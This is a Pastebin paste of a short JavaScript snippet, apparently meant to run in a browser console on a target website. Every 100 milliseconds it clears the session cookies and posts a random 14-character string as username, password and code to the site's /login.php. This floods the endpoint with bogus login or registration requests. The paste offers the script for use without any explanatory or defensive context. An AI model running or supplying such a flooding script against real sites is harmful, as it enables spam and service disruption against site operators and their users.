D3vBl4ck

Untitled

Oct 26th, 2019
18,794
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function setCookie(cname, cvalue, exdays) {
  2.             var d = new Date();
  3.             d.setTime(d.getTime() + (exdays * 24 * 60 * 60 * 1000));
  4.             var expires = "expires=" + d.toUTCString();
  5.             document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/"
  6.         }
  7. var created = 0;
  8. setInterval(function() {
  9. var asd = '';
  10. created = created + 1;
  11. var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
  12. for (var i = 0; i < 14; i++) { asd += possible.charAt(Math.floor(Math.random() * possible.length)); }
  13. setCookie('PHPSESSID', '', -1);
  14. setCookie('codtem', '', -1);
  15. $.post( "/login.php", { 'usuario': asd, 'contra': asd, 'codigo': asd, commit: 'entrar' } );
  16. console.log('logeado con: ' + asd, created + ' created.');
  17. }, 100);
Add Comment
Please, Sign In to add comment